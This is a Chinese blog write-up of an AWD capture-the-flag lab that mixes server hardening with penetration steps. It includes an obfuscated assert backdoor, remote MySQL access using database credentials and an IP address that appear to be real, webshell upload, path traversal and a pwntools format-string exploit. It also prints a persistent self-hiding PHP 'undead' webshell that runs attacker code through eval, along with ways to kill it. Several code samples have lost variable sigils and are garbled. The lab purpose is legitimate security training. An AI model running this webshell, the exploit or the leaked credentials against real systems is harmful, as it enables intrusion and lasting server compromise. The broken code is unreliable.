写在前面
Copyright © [2023] [Myon⁶]. All rights reserved.
基于awd攻防环境和xshell远程连接,配合kali linux渗透系统、蚁剑、D盾、河马、Seay代码审计系统等,演示现实中网站可能存在的漏洞,对网站进行漏洞扫描,渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等,以获取目标shell,并对网站漏洞进行修复与加固,总结防御措施,增强网络安全意识。
本人CSDN博客地址:http://myon6.blog.csdn.net
期待大家的关注与支持!
目录
一、背景介绍
1、AWD赛制
AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特点为:强调实战性、实时性、对抗性,综合考量竞赛队的渗透能力和防护能力。
2、Web安全
随着Web2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于Web环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在Web平台上,Web业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是Web安全威胁的凸显,黑客利用网站操作系统的漏洞和Web服务程序的SQL注入漏洞等得到Web服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。
3、网络空间安全
党的十八大以来,我国网络安全和信息化事业取得重大成就,党对网信工作的领导全面加强,网络空间主流思想舆论巩固壮大,网络综合治理体系基本建成,网络安全保障体系和能力持续提升,网信领域科技自立自强步伐加快,信息化驱动引领作用有效发挥,网络空间法治化程度不断提高,网络空间国际话语权和影响力明显增强,网络强国建设迈出新步伐。
二、大致流程
1、基于Bugku的awd攻防环境,使用xshell与服务器建立远程连接,熟悉awd的基本流程。
2、压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计。
3、对网站进行漏洞修复与系统加固,包括加固用户名密码,加固SQL数据库,以及可能存在的弱口令与内核溢出提权。
4、对网站进行渗透测试,包括SQL注入、文件上传、任意文件读取、Mysql远程连接、Redis未授权访问漏、PWN二进制漏洞等。
5、基于条件竞争,研究对不死马(内存马)进行写入利用,shell获取,以及针对不死马的防御处理手段。
三、详细过程
1、xshell连接与html目录下载
拿到账号密码后使用xshell连接,输入主机IP和端口号:
进行用户身份验证,输入给的用户名和密码
连接成功后,切换到html目录
将var/www下的html目录下载下来 (可以使用命令打包,也可以使用xftp传输)
2、Webshell后门文件查杀与Seay代码审计系统
将目录扔给D盾和河马进行扫描查杀:
使用seay进行代码审计:
3、漏洞修复与系统加固
(1)后门文件查杀
查看一下前面扫描到的后门文件 config.php
分析:
`$poc` 变量包含了字符串 "a#s#s#e#r#t";使用 `explode("#", poc)\` 函数将字符串分割成数组 \`poc_1`,每个元素都是 "a"、"s"、"s"、"e"、"r"、"t";
然后,将数组 `poc_1\` 的元素连接起来,形成字符串 \`poc_2`,其值为 "assert";最后,代码执行了 `poc_2(_GET['s'])`,它将执行用户通过 GET 请求传递的参数 's' 对应的值,作为 PHP 代码来执行;我们只需要控制 's' 参数的值,便可以在服务器上执行任意的 PHP 代码,这种代码结构常被称为 "PHP代码注入",因为它允许我们注入恶意代码,直接删掉该文件。
(2)加固用户名密码(用户层)
修改linux用户密码
使用命令
Passwd
输入之后根据提示修改密码即可
删除其他可登录用户
使用命令查看/etc/passwd 文件
cat /etc/passwd
第一个字段显示用户名,第二个字段显示密码状态,如果是 x,则表示密码存储在 /etc/shadow 文件中,第三个字段显示用户 ID,第四个字段显示组 ID;
后面字段依次显示:存储用户信息、主目录的路径、用户的 shell
这里我们配合grep命令查询可登录用户:
cat /etc/passwd |grep bash #有bash表示用户可以登录
我这里只是以自己服务器为例做演示,实际比赛环境肯定不止有root一个可登录用户,并且比赛给我们的账号密码是一个低权限用户,用于访问服务器,一般为非root权限。
如果有权限就删除用户:
userdel -r 用户名
(3)加固SQL数据库(服务层)
进入mysql数据库:mysql -uroot -proot
修改mysql数据库远程连接的密码:
update mysql.user set password=password('新密码') where user='root';
#password为加密方式,不以明文存储,也可以使用md5('新密码')
一定注意:
MySQL 5.7.6版本以下,才能使用此方法来修改密码,从MySQL 5.7.6版本起,user表使用authentication_string列代替之前版本中的password列来存储密码,并且它删除了password列。
我们使用最新的列名进行修改:update mysql.user set authentication_string=password('新密码') where user='用户名';
先查一下它原本的信息(登录IP,用户名,密码)
select host,user,authentication_string from mysql.user;
而那个密码并不在cms库,而是在mysql数据库下的user表
修改cms的密码,假设改为111111:
update mysql.user set authentication_string=password('111111') where user='cms';
修改成功后记得刷新配置
删除匿名用户
注意:默认会存在匿名用户登录(user为空的用户),我们需要删掉它:
delete from mysql.user where user='';
完成之后我们刷新设置:flush privileges;
(4)改网站后台密码
从网站页面或者源码或者目录扫描工具找到后台页面,然后尝试弱口令登入后改管理员密码。
也可以在数据库里面直接修改:
4、对网站进行渗透测试
(1)mysql数据库远程连接
从网站页面入手
是一个登录界面,尝试一些弱口令登录,发现不行
找到登录界面的文件login.php,检索一些关键字(password、email)
这里并没有发现什么有用信息,继续去找和这个文件相关的文件,容易发现它还包含了两个文件:
经过查看head.php和connect.php,最终在后者发现了数据库远程连接的账号密码:
$username = "cms";
$password = "eb0d39d2931c480f";
使用命令进行mysql远程连接
mysql -h47.104.192.166 -P3306 -ucms -peb0d39d2931c480f
连上之后我们查它的数据库和表,最后在cms库下的users表里发现了页面的登录邮箱和密码:
21232f297a57a5a743894a0e4a801fc3
这里密码进行了加密,解md5得到密码为 admin
在cms库下有一个flag表,我们尝试查它的具体内容,并没有flag
先去登录网站页面
(2)文件上传漏洞
进去之后很容易发现存在文件上传漏洞
我先上传的是普通一句话木马,成了,没有任何绕过
上传成功后直接上蚁剑
(3)任意文件读取漏洞
<?php
error_reporting(0);
// 接受 GET 方式传递过来的 file 值
$f_name = $_GET['src'];
file_path = "../resources/".f_name;
if(file_exists($file_path)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file_path));
flush();
readfile($file_path);
die();
} else {
http_response_code(404);
}
?>
代码分析:
-
`error_reporting(0);` 语句用于关闭PHP错误报告,这意味着在运行时不会显示任何PHP错误或警告。
-
通过 `$_GET['src']` 获取名为 'src' 的GET参数的值,该值应该是要下载的文件名。
-
构建文件路径 `$file_path`,将 "../resources/" 与 GET 参数 'src' 的值连接起来,形成完整的文件路径。
-
使用 `file_exists($file_path)` 检查文件是否存在。如果文件存在,继续执行下面的代码块。
-
设置一系列HTTP响应头,以指定下载文件的各种属性,如文件类型、文件名、缓存控制等。
-
使用 `readfile($file_path)` 输出文件内容,将文件发送到浏览器进行下载。
-
`die()` 语句用于终止PHP脚本的执行,确保只返回文件内容,而不会继续执行其他代码。
-
如果文件不存在,使用 `http_response_code(404)` 设置HTTP响应代码为404(文件未找到。
允许用户通过GET请求下载服务器上的文件,如果文件存在的话,脚本word.php位于api目录下,以get的方式请求参数src,我们知道flag是在根目录下面,这里可以使用 ../ (访问上一级目录)来实现目录遍历攻击。
(4)Redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作。
(5)pwn二进制漏洞
这里直接上exp攻击脚本:
from pwn import *
context.terminal = ['termite', '-e']
#p = gdb.debug('./easy_string_format', gdbscript='b *main+125\nc')
p = process('./echoasaservice')
p.recvline()
payload = bytearray()
payload += "%8lx.%9lx.%10$lx".encode()
p.sendline(payload)
flag = p.recvline().decode('utf-8').rstrip()
split = flag.split('.')
endian = "".join(["".join(reversed([j[i:i+2] for i in range(0, len(j), 2)])) for j in split])
print(bytearray.fromhex(endian).decode())
5、基于条件竞争对不死马的研究
这里以PHP不死马为例
测试代码:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(FILE);
$file = '.test.php';
code = '\_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
while (1){
file_put_contents(file,code);
system('touch -m -d "2018-12-01 09:10:12" .test.php');
usleep(5000);
}
?>
上面代码即为最简单的不死马,其目的是创建一个名为".test.php"的PHP文件,该文件包含一个带有密码验证的后门,允许执行任意PHP代码。
关于代码的详细解释:
ignore_user_abort(true);
设置PHP脚本忽略用户中止连接,即使用户在浏览器中停止加载页面,脚本仍然会继续执行。
set_time_limit(0);
设置脚本执行时间限制为0,意味着脚本可以无限期地运行,不会被PHP的执行时间限制所中断。
unlink(FILE);
删除当前正在执行的PHP脚本文件,这是一种尝试隐藏脚本的行为,以防止被发现。
$file = '.test.php';
定义一个变量$file,它包含了要写入的文件名,即".test.php"。
文件最前面带上.就会变成隐藏文件
code='\_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST[test]);} ?>';
定义一个变量$code,其中包含了PHP代码。这段代码首先检查通过GET请求传递的"pass"参数的MD5哈希值是否等于"098f6bcd4621d373cade4e832627b4f6",如果验证成功,它会尝试执行通过POST请求传递的名为"test"的PHP代码。
while (1){...}
这是一个无限循环,它将不断执行以下操作:
file_put_contents($file, $code);
将上述定义的code写入文件file,也就是".test.php",以便不断更新文件内容。
system('touch -m -d "2018-12-01 09:10:12" .test.php'); -
使用system函数,它会执行系统命令touch,以修改".test.php"文件的修改时间为"2018-12-01 09:10:12",这样可以欺骗文件的最后修改时间,以防止检测。
usleep(5000);
等待5毫秒后继续循环,这个睡眠操作是为了降低脚本的资源消耗,避免被系统检测到异常行为。
其中 098f6bcd4621d373cade4e832627b4f6 是加密后的md5值,之所以要进行加密是防止我们的木马被其他队伍利用,这里只是为了测试,加密前内容为test
上传该PHP文件后进行访问
访问后会在该路径下循环生成名字为 .test.php 的不死马隐藏文件
使用蚁剑或者菜刀连接生成的webshell:
http://文件所在路径/.test.php?pass=test
连接密码:test
尝试删除该文件,你会发现无法删除,这就是不死马,因为它已经写入了进程。
使用ls和ll这种命令根本查找不到它,在前面代码我们说了,它会进行自动删除,只有查看新增文件才能发现它:
find ./ -cmin -30 #查看30分钟内创建的文件
处理方法:
1、写入同名文件克制不死马
测试代码:
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(FILE);
$file = '.test.php';
$code = 'come on!';
while (1){
file_put_contents(file,code);
system('touch -m -d "2018-12-01 09:10:12" .test.php');
usleep(1000);
}
?>
注意:usleep的时间一定要比不死马小,$code修改为无害内容即可
假设文件命名为killshell.php,上传该文件并访问它
注意:一定要先去访问它一遍才能触发写入文件
再次尝试连接webshell发现已经连不上了,返回数据为空
在服务器查看webshell的内容
可以看到,内容不再是一句话木马,而变成了我们后面写入的无害内容
2、使用条件竞争查杀不死马
测试代码:
这是一个bash脚本
#!/bin/bash
while true
do
#kill -9 进程ID
rm -rf .test.php
done
如果能查到不死马的进程ID也可以kill命令和rm命令同时进行
使用命令 top | grep httpd 进行查询或者ps aux列出所有进程,找到要查杀的进程,新建查杀脚本:vim rmshell.sh
添加最高权限:chmod 777 rmshell.sh
在后台不断运行该脚本:nohup ./rmshell.sh &
再次查看不死马,发现已经不存在了
四、结果分析
1、通过压缩打包var/www/html目录下的所有文件,使用D盾、河马等查杀工具进行webshell后门文件查杀,配合seay系统进行代码审计,找到了存在的webshell后面文件并成功清理,加固了自己的网站和数据库密码。
2、基于扫描到和存在的漏洞进行渗透测试,成功修改掉数据库管理员密码,登录网站后台并且拿下网站后台权限。
3、成功在测试网站种下不死马,这样可以实现持续长久的维持后门权限。
基于条件竞争自己编写脚本,成功处理掉了不死马。
五、体会与总结
1、威胁感知与应对:通过实施AWD(Attack and Defense)攻防对Web漏洞的研究,我们深刻了解了攻击者的思维方式和策略,这有助于提高对潜在威胁的感知和应对能力。我们学会了从攻击者的角度审视Web应用程序,以更好地保护它们免受恶意入侵。
2、弱点的深入了解:研究过程中,我们不仅发现了常见的Web漏洞类型,还深入了解了它们的工作原理和利用方法。这有助于我们更好地理解弱点的本质,从而能够更好地修复和防范这些漏洞,提高Web应用程序的安全性。
3、持续改进的必要性:AWD攻防研究不仅揭示了Web漏洞的存在,还强调了安全性是一个持续改进的过程。我们必须不断更新和改进我们的防御策略,以适应不断演变的威胁和攻击技巧。这项研究强调了安全团队需要保持警惕,不断学习和提高,以确保Web应用程序的持续安全。
注:Copyright © [2023] [Myon⁶]. All rights reserved.